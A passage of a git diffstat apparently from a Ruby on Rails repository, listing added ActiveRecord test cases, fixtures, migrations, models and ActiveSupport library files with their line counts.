.../cases/adapters/mysql2/reserved_word_test.rb | 152 +
.../adapters/mysql2/schema_migrations_test.rb | 26 +
.../test/cases/adapters/mysql2/schema_test.rb | 70 +
.../test/cases/adapters/mysql2/sql_types_test.rb | 14 +
.../test/cases/adapters/oracle/synonym_test.rb | 17 +
.../adapters/postgresql/active_schema_test.rb | 62 +
.../test/cases/adapters/postgresql/array_test.rb | 104 +
.../test/cases/adapters/postgresql/bytea_test.rb | 87 +
.../cases/adapters/postgresql/connection_test.rb | 163 +
.../cases/adapters/postgresql/datatype_test.rb | 606 ++++
.../test/cases/adapters/postgresql/explain_test.rb | 28 +
.../test/cases/adapters/postgresql/hstore_test.rb | 200 +
.../test/cases/adapters/postgresql/json_test.rb | 86 +
.../test/cases/adapters/postgresql/ltree_test.rb | 41 +
.../adapters/postgresql/postgresql_adapter_test.rb | 288 ++
.../test/cases/adapters/postgresql/quoting_test.rb | 58 +
.../postgresql/schema_authorization_test.rb | 114 +
.../test/cases/adapters/postgresql/schema_test.rb | 376 ++
.../cases/adapters/postgresql/sql_types_test.rb | 18 +
.../adapters/postgresql/statement_pool_test.rb | 39 +
.../cases/adapters/postgresql/timestamp_test.rb | 113 +
.../test/cases/adapters/postgresql/utils_test.rb | 20 +
.../test/cases/adapters/postgresql/uuid_test.rb | 53 +
.../test/cases/adapters/postgresql/view_test.rb | 49 +
.../test/cases/adapters/sqlite3/copy_table_test.rb | 99 +
.../test/cases/adapters/sqlite3/explain_test.rb | 26 +
.../test/cases/adapters/sqlite3/quoting_test.rb | 102 +
.../cases/adapters/sqlite3/sqlite3_adapter_test.rb | 366 ++
.../cases/adapters/sqlite3/statement_pool_test.rb | 24 +
activerecord/test/cases/aggregations_test.rb | 158 +
activerecord/test/cases/ar_schema_test.rb | 50 +
.../cases/associations/association_scope_test.rb | 15 +
.../associations/belongs_to_associations_test.rb | 771 ++++
.../test/cases/associations/callbacks_test.rb | 168 +
.../associations/cascaded_eager_loading_test.rb | 179 +
.../eager_load_includes_full_sti_class_test.rb | 36 +
.../associations/eager_load_nested_include_test.rb | 128 +
.../associations/eager_singularization_test.rb | 145 +
activerecord/test/cases/associations/eager_test.rb | 1188 ++++++
.../test/cases/associations/extension_test.rb | 80 +
.../has_and_belongs_to_many_associations_test.rb | 870 +++++
.../associations/has_many_associations_test.rb | 1800 +++++++++
.../has_many_through_associations_test.rb | 910 +++++
.../associations/has_one_associations_test.rb | 525 +++
.../has_one_through_associations_test.rb | 317 ++
.../associations/inner_join_association_test.rb | 107 +
.../associations/inverse_associations_test.rb | 537 +++
.../cases/associations/join_dependency_test.rb | 8 +
.../test/cases/associations/join_model_test.rb | 750 ++++
.../nested_through_associations_test.rb | 575 +++
activerecord/test/cases/associations_test.rb | 331 ++
.../test/cases/attribute_methods/read_test.rb | 65 +
activerecord/test/cases/attribute_methods_test.rb | 801 ++++
.../test/cases/autosave_association_test.rb | 1431 ++++++++
activerecord/test/cases/base_test.rb | 1637 +++++++++
activerecord/test/cases/batches_test.rb | 147 +
activerecord/test/cases/binary_test.rb | 49 +
activerecord/test/cases/bind_parameter_test.rb | 89 +
activerecord/test/cases/calculations_test.rb | 573 +++
activerecord/test/cases/callbacks_test.rb | 535 +++
activerecord/test/cases/clone_test.rb | 40 +
activerecord/test/cases/coders/yaml_column_test.rb | 63 +
activerecord/test/cases/column_alias_test.rb | 17 +
activerecord/test/cases/column_definition_test.rb | 143 +
activerecord/test/cases/column_test.rb | 115 +
.../connection_adapters/abstract_adapter_test.rb | 62 +
.../connection_adapters/connection_handler_test.rb | 53 +
.../connection_specification_test.rb | 12 +
.../test/cases/connection_adapters/quoting_test.rb | 13 +
.../cases/connection_adapters/schema_cache_test.rb | 56 +
.../test/cases/connection_management_test.rb | 112 +
activerecord/test/cases/connection_pool_test.rb | 343 ++
.../connection_specification/resolver_test.rb | 63 +
activerecord/test/cases/counter_cache_test.rb | 150 +
activerecord/test/cases/custom_locking_test.rb | 17 +
.../test/cases/database_statements_test.rb | 19 +
activerecord/test/cases/date_time_test.rb | 43 +
activerecord/test/cases/defaults_test.rb | 189 +
.../test/cases/deprecated_dynamic_methods_test.rb | 592 +++
activerecord/test/cases/dirty_test.rb | 640 ++++
activerecord/test/cases/dup_test.rb | 136 +
activerecord/test/cases/explain_subscriber_test.rb | 54 +
activerecord/test/cases/explain_test.rb | 72 +
activerecord/test/cases/finder_respond_to_test.rb | 90 +
activerecord/test/cases/finder_test.rb | 873 +++++
activerecord/test/cases/fixture_set/file_test.rb | 83 +
activerecord/test/cases/fixtures_test.rb | 796 ++++
.../cases/forbidden_attributes_protection_test.rb | 64 +
.../test/cases/habtm_destroy_order_test.rb | 61 +
activerecord/test/cases/helper.rb | 151 +
activerecord/test/cases/hot_compatibility_test.rb | 54 +
activerecord/test/cases/i18n_test.rb | 45 +
activerecord/test/cases/inheritance_test.rb | 355 ++
activerecord/test/cases/invalid_date_test.rb | 32 +
.../test/cases/invertible_migration_test.rb | 231 ++
activerecord/test/cases/json_serialization_test.rb | 300 ++
activerecord/test/cases/locking_test.rb | 452 +++
activerecord/test/cases/log_subscriber_test.rb | 122 +
.../test/cases/migration/change_schema_test.rb | 350 ++
.../test/cases/migration/change_table_test.rb | 204 ++
.../test/cases/migration/column_attributes_test.rb | 206 ++
.../cases/migration/column_positioning_test.rb | 60 +
activerecord/test/cases/migration/columns_test.rb | 279 ++
.../test/cases/migration/command_recorder_test.rb | 247 ++
.../test/cases/migration/create_join_table_test.rb | 125 +
activerecord/test/cases/migration/helper.rb | 43 +
activerecord/test/cases/migration/index_test.rb | 219 ++
activerecord/test/cases/migration/logger_test.rb | 37 +
.../test/cases/migration/references_index_test.rb | 102 +
.../cases/migration/references_statements_test.rb | 111 +
.../test/cases/migration/rename_table_test.rb | 90 +
.../test/cases/migration/table_and_index_test.rb | 24 +
activerecord/test/cases/migration_test.rb | 852 +++++
activerecord/test/cases/migrator_test.rb | 384 ++
activerecord/test/cases/mixin_test.rb | 96 +
activerecord/test/cases/modules_test.rb | 143 +
.../test/cases/multiparameter_attributes_test.rb | 350 ++
activerecord/test/cases/multiple_db_test.rb | 108 +
activerecord/test/cases/nested_attributes_test.rb | 1060 ++++++
activerecord/test/cases/persistence_test.rb | 789 ++++
activerecord/test/cases/pooled_connections_test.rb | 67 +
activerecord/test/cases/primary_keys_test.rb | 218 ++
activerecord/test/cases/query_cache_test.rb | 276 ++
activerecord/test/cases/quoting_test.rb | 229 ++
activerecord/test/cases/readonly_test.rb | 113 +
activerecord/test/cases/reaper_test.rb | 81 +
activerecord/test/cases/reflection_test.rb | 394 ++
.../test/cases/relation/where_chain_test.rb | 80 +
activerecord/test/cases/relation/where_test.rb | 112 +
activerecord/test/cases/relation_test.rb | 311 ++
activerecord/test/cases/relations_test.rb | 1549 ++++++++
activerecord/test/cases/reload_models_test.rb | 22 +
activerecord/test/cases/sanitize_test.rb | 25 +
activerecord/test/cases/schema_dumper_test.rb | 391 ++
.../test/cases/scoping/default_scoping_test.rb | 370 ++
.../test/cases/scoping/named_scoping_test.rb | 467 +++
.../test/cases/scoping/relation_scoping_test.rb | 331 ++
activerecord/test/cases/serialization_test.rb | 68 +
.../test/cases/serialized_attribute_test.rb | 258 ++
activerecord/test/cases/statement_cache_test.rb | 64 +
activerecord/test/cases/store_test.rb | 158 +
.../test/cases/tasks/database_tasks_test.rb | 308 ++
.../test/cases/tasks/firebird_rake_test.rb | 100 +
activerecord/test/cases/tasks/mysql_rake_test.rb | 301 ++
activerecord/test/cases/tasks/oracle_rake_test.rb | 93 +
.../test/cases/tasks/postgresql_rake_test.rb | 236 ++
activerecord/test/cases/tasks/sqlite_rake_test.rb | 191 +
.../test/cases/tasks/sqlserver_rake_test.rb | 87 +
activerecord/test/cases/test_case.rb | 9 +
activerecord/test/cases/timestamp_test.rb | 308 ++
.../test/cases/transaction_callbacks_test.rb | 317 ++
.../test/cases/transaction_isolation_test.rb | 114 +
activerecord/test/cases/transactions_test.rb | 616 ++++
activerecord/test/cases/unconnected_test.rb | 33 +
.../validations/association_validation_test.rb | 138 +
.../i18n_generate_message_validation_test.rb | 76 +
.../test/cases/validations/i18n_validation_test.rb | 89 +
.../cases/validations/presence_validation_test.rb | 51 +
.../validations/uniqueness_validation_test.rb | 379 ++
.../test/cases/validations_repair_helper.rb | 23 +
activerecord/test/cases/validations_test.rb | 124 +
activerecord/test/cases/xml_serialization_test.rb | 455 +++
activerecord/test/cases/yaml_serialization_test.rb | 52 +
activerecord/test/config.example.yml | 140 +
activerecord/test/config.rb | 5 +
activerecord/test/fixtures/.gitignore | 1 +
activerecord/test/fixtures/accounts.yml | 29 +
activerecord/test/fixtures/admin/accounts.yml | 2 +
.../test/fixtures/admin/randomly_named_a9.yml | 7 +
.../test/fixtures/admin/randomly_named_b0.yml | 7 +
activerecord/test/fixtures/admin/users.yml | 10 +
activerecord/test/fixtures/all/developers.yml | 0
activerecord/test/fixtures/all/people.yml | 0
activerecord/test/fixtures/all/tasks.yml | 0
activerecord/test/fixtures/author_addresses.yml | 5 +
activerecord/test/fixtures/author_favorites.yml | 4 +
activerecord/test/fixtures/authors.yml | 15 +
activerecord/test/fixtures/binaries.yml | 133 +
activerecord/test/fixtures/books.yml | 9 +
activerecord/test/fixtures/cars.yml | 9 +
activerecord/test/fixtures/categories.yml | 19 +
.../fixtures/categories/special_categories.yml | 9 +
.../categories/subsubdir/arbitrary_filename.yml | 4 +
activerecord/test/fixtures/categories_ordered.yml | 7 +
activerecord/test/fixtures/categories_posts.yml | 31 +
activerecord/test/fixtures/categorizations.yml | 23 +
activerecord/test/fixtures/clubs.yml | 8 +
activerecord/test/fixtures/collections.yml | 3 +
activerecord/test/fixtures/colleges.yml | 3 +
activerecord/test/fixtures/comments.yml | 65 +
activerecord/test/fixtures/companies.yml | 59 +
activerecord/test/fixtures/computers.yml | 4 +
activerecord/test/fixtures/courses.yml | 8 +
activerecord/test/fixtures/customers.yml | 26 +
activerecord/test/fixtures/dashboards.yml | 6 +
activerecord/test/fixtures/developers.yml | 21 +
activerecord/test/fixtures/developers_projects.yml | 17 +
activerecord/test/fixtures/dog_lovers.yml | 7 +
activerecord/test/fixtures/dogs.yml | 4 +
activerecord/test/fixtures/edges.yml | 5 +
activerecord/test/fixtures/entrants.yml | 14 +
activerecord/test/fixtures/essays.yml | 6 +
activerecord/test/fixtures/faces.yml | 11 +
activerecord/test/fixtures/fk_test_has_fk.yml | 3 +
activerecord/test/fixtures/fk_test_has_pk.yml | 2 +
activerecord/test/fixtures/friendships.yml | 4 +
activerecord/test/fixtures/funny_jokes.yml | 10 +
activerecord/test/fixtures/interests.yml | 33 +
activerecord/test/fixtures/items.yml | 3 +
activerecord/test/fixtures/jobs.yml | 7 +
activerecord/test/fixtures/legacy_things.yml | 3 +
activerecord/test/fixtures/mateys.yml | 4 +
activerecord/test/fixtures/member_details.yml | 8 +
activerecord/test/fixtures/member_types.yml | 6 +
activerecord/test/fixtures/members.yml | 11 +
activerecord/test/fixtures/memberships.yml | 34 +
activerecord/test/fixtures/men.yml | 5 +
activerecord/test/fixtures/minimalistics.yml | 2 +
activerecord/test/fixtures/minivans.yml | 5 +
activerecord/test/fixtures/mixed_case_monkeys.yml | 6 +
activerecord/test/fixtures/mixins.yml | 29 +
activerecord/test/fixtures/movies.yml | 7 +
activerecord/test/fixtures/naked/csv/accounts.csv | 1 +
activerecord/test/fixtures/naked/yml/accounts.yml | 1 +
activerecord/test/fixtures/naked/yml/companies.yml | 1 +
activerecord/test/fixtures/naked/yml/courses.yml | 1 +
activerecord/test/fixtures/organizations.yml | 5 +
activerecord/test/fixtures/other_topics.yml | 42 +
activerecord/test/fixtures/owners.yml | 8 +
activerecord/test/fixtures/parrots.yml | 27 +
activerecord/test/fixtures/parrots_pirates.yml | 7 +
activerecord/test/fixtures/people.yml | 24 +
activerecord/test/fixtures/peoples_treasures.yml | 3 +
activerecord/test/fixtures/pets.yml | 19 +
activerecord/test/fixtures/pirates.yml | 9 +
activerecord/test/fixtures/posts.yml | 82 +
activerecord/test/fixtures/price_estimates.yml | 7 +
activerecord/test/fixtures/products.yml | 4 +
activerecord/test/fixtures/projects.yml | 7 +
activerecord/test/fixtures/randomly_named_a9.yml | 7 +
activerecord/test/fixtures/ratings.yml | 14 +
activerecord/test/fixtures/readers.yml | 11 +
activerecord/test/fixtures/references.yml | 17 +
.../test/fixtures/reserved_words/distinct.yml | 5 +
.../fixtures/reserved_words/distinct_select.yml | 11 +
.../test/fixtures/reserved_words/group.yml | 14 +
.../test/fixtures/reserved_words/select.yml | 8 +
.../test/fixtures/reserved_words/values.yml | 7 +
activerecord/test/fixtures/ships.yml | 6 +
activerecord/test/fixtures/speedometers.yml | 8 +
activerecord/test/fixtures/sponsors.yml | 12 +
activerecord/test/fixtures/string_key_objects.yml | 7 +
activerecord/test/fixtures/subscribers.yml | 11 +
activerecord/test/fixtures/subscriptions.yml | 12 +
activerecord/test/fixtures/taggings.yml | 78 +
activerecord/test/fixtures/tags.yml | 11 +
activerecord/test/fixtures/tasks.yml | 7 +
activerecord/test/fixtures/teapots.yml | 3 +
activerecord/test/fixtures/topics.yml | 42 +
activerecord/test/fixtures/toys.yml | 14 +
activerecord/test/fixtures/traffic_lights.yml | 10 +
activerecord/test/fixtures/treasures.yml | 10 +
activerecord/test/fixtures/variants.yml | 4 +
activerecord/test/fixtures/vegetables.yml | 20 +
activerecord/test/fixtures/vertices.yml | 4 +
activerecord/test/fixtures/warehouse-things.yml | 3 +
activerecord/test/fixtures/zines.yml | 5 +
.../test/migrations/10_urban/9_add_expressions.rb | 11 +
.../migrations/decimal/1_give_me_big_numbers.rb | 15 +
activerecord/test/migrations/empty/.gitkeep | 0
.../migrations/magic/1_currencies_have_symbols.rb | 12 +
.../missing/1000_people_have_middle_names.rb | 9 +
.../migrations/missing/1_people_have_last_names.rb | 9 +
.../test/migrations/missing/3_we_need_reminders.rb | 12 +
.../migrations/missing/4_innocent_jointable.rb | 12 +
.../test/migrations/rename/1_we_need_things.rb | 11 +
.../test/migrations/rename/2_rename_things.rb | 9 +
.../migrations/to_copy/1_people_have_hobbies.rb | 9 +
.../to_copy/2_people_have_descriptions.rb | 9 +
.../test/migrations/to_copy2/1_create_articles.rb | 7 +
.../test/migrations/to_copy2/2_create_comments.rb | 7 +
.../1_people_have_hobbies.rb | 9 +
.../20090101010101_people_have_hobbies.rb | 9 +
.../20090101010202_people_have_descriptions.rb | 9 +
.../20090101010101_create_articles.rb | 7 +
.../20090101010202_create_comments.rb | 7 +
.../valid/1_valid_people_have_last_names.rb | 9 +
.../test/migrations/valid/2_we_need_reminders.rb | 12 +
.../test/migrations/valid/3_innocent_jointable.rb | 12 +
.../1_valid_people_have_last_names.rb | 9 +
.../sub/2_we_need_reminders.rb | 12 +
.../sub1/3_innocent_jointable.rb | 12 +
...valid_with_timestamps_people_have_last_names.rb | 9 +
...0101_valid_with_timestamps_we_need_reminders.rb | 12 +
...101_valid_with_timestamps_innocent_jointable.rb | 12 +
activerecord/test/models/admin.rb | 5 +
activerecord/test/models/admin/account.rb | 3 +
.../test/models/admin/randomly_named_c1.rb | 3 +
activerecord/test/models/admin/user.rb | 39 +
activerecord/test/models/aircraft.rb | 4 +
activerecord/test/models/arunit2_model.rb | 3 +
activerecord/test/models/author.rb | 192 +
activerecord/test/models/auto_id.rb | 4 +
.../test/models/autoloadable/extra_firm.rb | 2 +
activerecord/test/models/binary.rb | 2 +
activerecord/test/models/bird.rb | 12 +
activerecord/test/models/book.rb | 9 +
activerecord/test/models/boolean.rb | 2 +
activerecord/test/models/bulb.rb | 39 +
activerecord/test/models/car.rb | 27 +
activerecord/test/models/categorization.rb | 19 +
activerecord/test/models/category.rb | 34 +
activerecord/test/models/citation.rb | 6 +
activerecord/test/models/club.rb | 15 +
activerecord/test/models/college.rb | 5 +
activerecord/test/models/column_name.rb | 3 +
activerecord/test/models/comment.rb | 38 +
activerecord/test/models/company.rb | 238 ++
activerecord/test/models/company_in_module.rb | 84 +
activerecord/test/models/computer.rb | 3 +
activerecord/test/models/contact.rb | 40 +
activerecord/test/models/contract.rb | 19 +
activerecord/test/models/country.rb | 7 +
activerecord/test/models/course.rb | 6 +
activerecord/test/models/customer.rb | 77 +
activerecord/test/models/dashboard.rb | 3 +
activerecord/test/models/default.rb | 2 +
activerecord/test/models/developer.rb | 250 ++
activerecord/test/models/dog.rb | 5 +
activerecord/test/models/dog_lover.rb | 5 +
activerecord/test/models/edge.rb | 5 +
activerecord/test/models/electron.rb | 3 +
activerecord/test/models/engine.rb | 4 +
activerecord/test/models/entrant.rb | 3 +
activerecord/test/models/essay.rb | 5 +
activerecord/test/models/event.rb | 3 +
activerecord/test/models/eye.rb | 37 +
activerecord/test/models/face.rb | 7 +
activerecord/test/models/friendship.rb | 6 +
activerecord/test/models/guid.rb | 2 +
activerecord/test/models/interest.rb | 5 +
activerecord/test/models/invoice.rb | 4 +
activerecord/test/models/item.rb | 7 +
activerecord/test/models/job.rb | 7 +
activerecord/test/models/joke.rb | 7 +
activerecord/test/models/keyboard.rb | 3 +
activerecord/test/models/legacy_thing.rb | 3 +
activerecord/test/models/lesson.rb | 11 +
activerecord/test/models/line_item.rb | 3 +
activerecord/test/models/liquid.rb | 4 +
activerecord/test/models/man.rb | 9 +
activerecord/test/models/matey.rb | 4 +
activerecord/test/models/member.rb | 36 +
activerecord/test/models/member_detail.rb | 7 +
activerecord/test/models/member_type.rb | 3 +
activerecord/test/models/membership.rb | 15 +
activerecord/test/models/minimalistic.rb | 2 +
activerecord/test/models/minivan.rb | 9 +
activerecord/test/models/mixed_case_monkey.rb | 3 +
activerecord/test/models/molecule.rb | 4 +
activerecord/test/models/movie.rb | 5 +
activerecord/test/models/order.rb | 4 +
activerecord/test/models/organization.rb | 12 +
activerecord/test/models/owner.rb | 5 +
activerecord/test/models/parrot.rb | 23 +
activerecord/test/models/person.rb | 127 +
activerecord/test/models/pet.rb | 15 +
activerecord/test/models/pirate.rb | 86 +
activerecord/test/models/possession.rb | 3 +
activerecord/test/models/post.rb | 194 +
activerecord/test/models/price_estimate.rb | 4 +
activerecord/test/models/project.rb | 43 +
activerecord/test/models/randomly_named_c1.rb | 3 +
activerecord/test/models/rating.rb | 4 +
activerecord/test/models/reader.rb | 21 +
activerecord/test/models/reference.rb | 22 +
activerecord/test/models/reply.rb | 60 +
activerecord/test/models/ship.rb | 19 +
activerecord/test/models/ship_part.rb | 7 +
activerecord/test/models/shop.rb | 12 +
activerecord/test/models/speedometer.rb | 6 +
activerecord/test/models/sponsor.rb | 7 +
activerecord/test/models/string_key_object.rb | 3 +
activerecord/test/models/student.rb | 3 +
activerecord/test/models/subject.rb | 16 +
activerecord/test/models/subscriber.rb | 8 +
activerecord/test/models/subscription.rb | 4 +
activerecord/test/models/tag.rb | 7 +
activerecord/test/models/tagging.rb | 13 +
activerecord/test/models/task.rb | 5 +
activerecord/test/models/topic.rb | 121 +
activerecord/test/models/toy.rb | 6 +
activerecord/test/models/traffic_light.rb | 4 +
activerecord/test/models/treasure.rb | 11 +
activerecord/test/models/treaty.rb | 7 +
activerecord/test/models/tyre.rb | 3 +
activerecord/test/models/vegetables.rb | 24 +
activerecord/test/models/vertex.rb | 9 +
activerecord/test/models/warehouse_thing.rb | 5 +
activerecord/test/models/wheel.rb | 3 +
activerecord/test/models/without_table.rb | 3 +
activerecord/test/models/zine.rb | 3 +
activerecord/test/schema/mysql2_specific_schema.rb | 58 +
activerecord/test/schema/mysql_specific_schema.rb | 70 +
activerecord/test/schema/oracle_specific_schema.rb | 46 +
.../test/schema/postgresql_specific_schema.rb | 224 ++
activerecord/test/schema/schema.rb | 808 +++++
activerecord/test/schema/sqlite_specific_schema.rb | 25 +
activerecord/test/support/config.rb | 43 +
activerecord/test/support/connection.rb | 21 +
activesupport/CHANGELOG.md | 510 +++
activesupport/MIT-LICENSE | 20 +
activesupport/README.rdoc | 35 +
activesupport/Rakefile | 30 +
activesupport/activesupport.gemspec | 28 +
activesupport/bin/generate_tables | 150 +
activesupport/lib/active_support.rb | 69 +
activesupport/lib/active_support/all.rb | 3 +
.../lib/active_support/backtrace_cleaner.rb | 107 +
activesupport/lib/active_support/basic_object.rb | 11 +
activesupport/lib/active_support/benchmarkable.rb | 59 +
.../lib/active_support/buffered_logger.rb | 21 +
activesupport/lib/active_support/builder.rb | 6 +
activesupport/lib/active_support/cache.rb | 683 ++++
.../lib/active_support/cache/file_store.rb | 179 +
.../lib/active_support/cache/mem_cache_store.rb | 200 +
.../lib/active_support/cache/memory_store.rb | 161 +
.../lib/active_support/cache/null_store.rb | 44 +
.../active_support/cache/strategy/local_cache.rb | 180 +
activesupport/lib/active_support/callbacks.rb | 593 +++
activesupport/lib/active_support/concern.rb | 126 +
.../lib/active_support/concurrency/latch.rb | 27 +
activesupport/lib/active_support/configurable.rb | 147 +
activesupport/lib/active_support/core_ext.rb | 4 +
activesupport/lib/active_support/core_ext/array.rb | 7 +
.../lib/active_support/core_ext/array/access.rb | 54 +
.../active_support/core_ext/array/conversions.rb | 224 ++
.../core_ext/array/extract_options.rb | 29 +
.../lib/active_support/core_ext/array/grouping.rb | 99 +
.../core_ext/array/prepend_and_append.rb | 7 +
.../lib/active_support/core_ext/array/uniq_by.rb | 19 +
.../lib/active_support/core_ext/array/wrap.rb | 45 +
.../lib/active_support/core_ext/benchmark.rb | 14 +
.../lib/active_support/core_ext/big_decimal.rb | 1 +
.../core_ext/big_decimal/conversions.rb | 31 +
activesupport/lib/active_support/core_ext/class.rb | 4 +
.../lib/active_support/core_ext/class/attribute.rb | 125 +
.../core_ext/class/attribute_accessors.rb | 170 +
.../core_ext/class/delegating_attributes.rb | 40 +
.../active_support/core_ext/class/subclasses.rb | 42 +
activesupport/lib/active_support/core_ext/date.rb | 6 +
.../lib/active_support/core_ext/date/acts_like.rb | 8 +
.../active_support/core_ext/date/calculations.rb | 122 +
.../active_support/core_ext/date/conversions.rb | 84 +
.../core_ext/date/infinite_comparable.rb | 5 +
.../lib/active_support/core_ext/date/zones.rb | 37 +
.../core_ext/date_and_time/calculations.rb | 232 ++
.../lib/active_support/core_ext/date_time.rb | 5 +
.../active_support/core_ext/date_time/acts_like.rb | 13 +
.../core_ext/date_time/calculations.rb | 157 +
.../core_ext/date_time/conversions.rb | 91 +
.../core_ext/date_time/infinite_comparable.rb | 5 +
.../lib/active_support/core_ext/date_time/zones.rb | 24 +
.../lib/active_support/core_ext/enumerable.rb | 80 +
activesupport/lib/active_support/core_ext/file.rb | 1 +
.../lib/active_support/core_ext/file/atomic.rb | 63 +
activesupport/lib/active_support/core_ext/hash.rb | 8 +
.../active_support/core_ext/hash/conversions.rb | 241 ++
.../lib/active_support/core_ext/hash/deep_merge.rb | 27 +
.../lib/active_support/core_ext/hash/diff.rb | 14 +
.../lib/active_support/core_ext/hash/except.rb | 15 +
.../core_ext/hash/indifferent_access.rb | 22 +
.../lib/active_support/core_ext/hash/keys.rb | 138 +
.../active_support/core_ext/hash/reverse_merge.rb | 22 +
.../lib/active_support/core_ext/hash/slice.rb | 40 +
.../active_support/core_ext/infinite_comparable.rb | 35 +
.../lib/active_support/core_ext/integer.rb | 3 +
.../active_support/core_ext/integer/inflections.rb | 29 +
.../active_support/core_ext/integer/multiple.rb | 10 +
.../lib/active_support/core_ext/integer/time.rb | 44 +
.../lib/active_support/core_ext/kernel.rb | 4 +
.../active_support/core_ext/kernel/agnostics.rb | 11 +
.../lib/active_support/core_ext/kernel/debugger.rb | 10 +
.../active_support/core_ext/kernel/reporting.rb | 109 +
.../core_ext/kernel/singleton_class.rb | 6 +
.../lib/active_support/core_ext/load_error.rb | 25 +
.../lib/active_support/core_ext/logger.rb | 67 +
.../lib/active_support/core_ext/marshal.rb | 19 +
.../lib/active_support/core_ext/module.rb | 10 +
.../lib/active_support/core_ext/module/aliasing.rb | 69 +
.../active_support/core_ext/module/anonymous.rb | 19 +
.../core_ext/module/attr_internal.rb | 38 +
.../core_ext/module/attribute_accessors.rb | 66 +
.../active_support/core_ext/module/delegation.rb | 196 +
.../active_support/core_ext/module/deprecation.rb | 25 +
.../core_ext/module/introspection.rb | 78 +
.../core_ext/module/qualified_const.rb | 52 +
.../active_support/core_ext/module/reachable.rb | 8 +
.../core_ext/module/remove_method.rb | 12 +
.../lib/active_support/core_ext/name_error.rb | 18 +
.../lib/active_support/core_ext/numeric.rb | 4 +
.../lib/active_support/core_ext/numeric/bytes.rb | 44 +
.../active_support/core_ext/numeric/conversions.rb | 135 +
.../core_ext/numeric/infinite_comparable.rb | 9 +
.../lib/active_support/core_ext/numeric/time.rb | 79 +
.../lib/active_support/core_ext/object.rb | 14 +
.../active_support/core_ext/object/acts_like.rb | 10 +
.../lib/active_support/core_ext/object/blank.rb | 105 +
.../active_support/core_ext/object/conversions.rb | 4 +
.../lib/active_support/core_ext/object/deep_dup.rb | 46 +
.../active_support/core_ext/object/duplicable.rb | 90 +
.../active_support/core_ext/object/inclusion.rb | 25 +
.../core_ext/object/instance_variables.rb | 28 +
.../lib/active_support/core_ext/object/to_json.rb | 27 +
.../lib/active_support/core_ext/object/to_param.rb | 58 +
.../lib/active_support/core_ext/object/to_query.rb | 27 +
.../lib/active_support/core_ext/object/try.rb | 78 +
.../active_support/core_ext/object/with_options.rb | 42 +
activesupport/lib/active_support/core_ext/proc.rb | 17 +
activesupport/lib/active_support/core_ext/range.rb | 3 +
.../active_support/core_ext/range/conversions.rb | 19 +
.../active_support/core_ext/range/include_range.rb | 21 +
.../lib/active_support/core_ext/range/overlaps.rb | 8 +
.../lib/active_support/core_ext/regexp.rb | 5 +
.../lib/active_support/core_ext/string.rb | 13 +
.../lib/active_support/core_ext/string/access.rb | 104 +
.../lib/active_support/core_ext/string/behavior.rb | 6 +
.../active_support/core_ext/string/conversions.rb | 55 +
.../lib/active_support/core_ext/string/encoding.rb | 8 +
.../lib/active_support/core_ext/string/exclude.rb | 11 +
.../lib/active_support/core_ext/string/filters.rb | 55 +
.../lib/active_support/core_ext/string/indent.rb | 43 +
.../active_support/core_ext/string/inflections.rb | 212 ++
.../lib/active_support/core_ext/string/inquiry.rb | 13 +
.../active_support/core_ext/string/multibyte.rb | 49 +
.../core_ext/string/output_safety.rb | 194 +
.../core_ext/string/starts_ends_with.rb | 4 +
.../lib/active_support/core_ext/string/strip.rb | 26 +
.../lib/active_support/core_ext/string/zones.rb | 13 +
.../lib/active_support/core_ext/struct.rb | 6 +
.../lib/active_support/core_ext/thread.rb | 74 +
activesupport/lib/active_support/core_ext/time.rb | 6 +
.../lib/active_support/core_ext/time/acts_like.rb | 8 +
.../active_support/core_ext/time/calculations.rb | 285 ++
.../active_support/core_ext/time/conversions.rb | 63 +
.../core_ext/time/infinite_comparable.rb | 5 +
.../lib/active_support/core_ext/time/marshal.rb | 30 +
.../lib/active_support/core_ext/time/zones.rb | 96 +
activesupport/lib/active_support/core_ext/uri.rb | 26 +
activesupport/lib/active_support/dependencies.rb | 722 ++++
.../lib/active_support/dependencies/autoload.rb | 77 +
activesupport/lib/active_support/deprecation.rb | 43 +
.../lib/active_support/deprecation/behaviors.rb | 63 +
.../deprecation/instance_delegator.rb | 24 +
.../active_support/deprecation/method_wrappers.rb | 44 +
.../active_support/deprecation/proxy_wrappers.rb | 126 +
.../lib/active_support/deprecation/reporting.rb | 94 +
.../lib/active_support/descendants_tracker.rb | 60 +
activesupport/lib/active_support/duration.rb | 108 +
.../lib/active_support/file_update_checker.rb | 137 +
activesupport/lib/active_support/file_watcher.rb | 36 +
activesupport/lib/active_support/gzip.rb | 36 +
.../active_support/hash_with_indifferent_access.rb | 253 ++
activesupport/lib/active_support/i18n.rb | 13 +
activesupport/lib/active_support/i18n_railtie.rb | 85 +
activesupport/lib/active_support/inflections.rb | 65 +
activesupport/lib/active_support/inflector.rb | 7 +
.../lib/active_support/inflector/inflections.rb | 211 ++
.../lib/active_support/inflector/methods.rb | 342 ++
.../lib/active_support/inflector/transliterate.rb | 97 +
activesupport/lib/active_support/json.rb | 2 +
activesupport/lib/active_support/json/decoding.rb | 80 +
activesupport/lib/active_support/json/encoding.rb | 338 ++
activesupport/lib/active_support/json/variable.rb | 18 +
activesupport/lib/active_support/key_generator.rb | 75 +
.../lib/active_support/lazy_load_hooks.rb | 48 +
activesupport/lib/active_support/locale/en.yml | 133 +
activesupport/lib/active_support/log_subscriber.rb | 109 +
.../active_support/log_subscriber/test_helper.rb | 104 +
activesupport/lib/active_support/logger.rb | 57 +
activesupport/lib/active_support/logger_silence.rb | 24 +
.../lib/active_support/message_encryptor.rb | 106 +
.../lib/active_support/message_verifier.rb | 68 +
activesupport/lib/active_support/multibyte.rb | 21 +
.../lib/active_support/multibyte/chars.rb | 223 ++
.../lib/active_support/multibyte/unicode.rb | 403 +++
activesupport/lib/active_support/notifications.rb | 207 ++
.../lib/active_support/notifications/fanout.rb | 148 +
.../active_support/notifications/instrumenter.rb | 72 +
activesupport/lib/active_support/number_helper.rb | 637 ++++
activesupport/lib/active_support/option_merger.rb | 25 +
activesupport/lib/active_support/ordered_hash.rb | 40 +
.../lib/active_support/ordered_options.rb | 59 +
.../lib/active_support/per_thread_registry.rb | 52 +
activesupport/lib/active_support/proxy_object.rb | 13 +
activesupport/lib/active_support/rails.rb | 27 +
activesupport/lib/active_support/railtie.rb | 46 +
activesupport/lib/active_support/rescuable.rb | 120 +
.../lib/active_support/string_inquirer.rb | 26 +
activesupport/lib/active_support/subscriber.rb | 93 +
activesupport/lib/active_support/tagged_logging.rb | 75 +
activesupport/lib/active_support/test_case.rb | 67 +
.../lib/active_support/testing/assertions.rb | 127 +
.../lib/active_support/testing/autorun.rb | 5 +
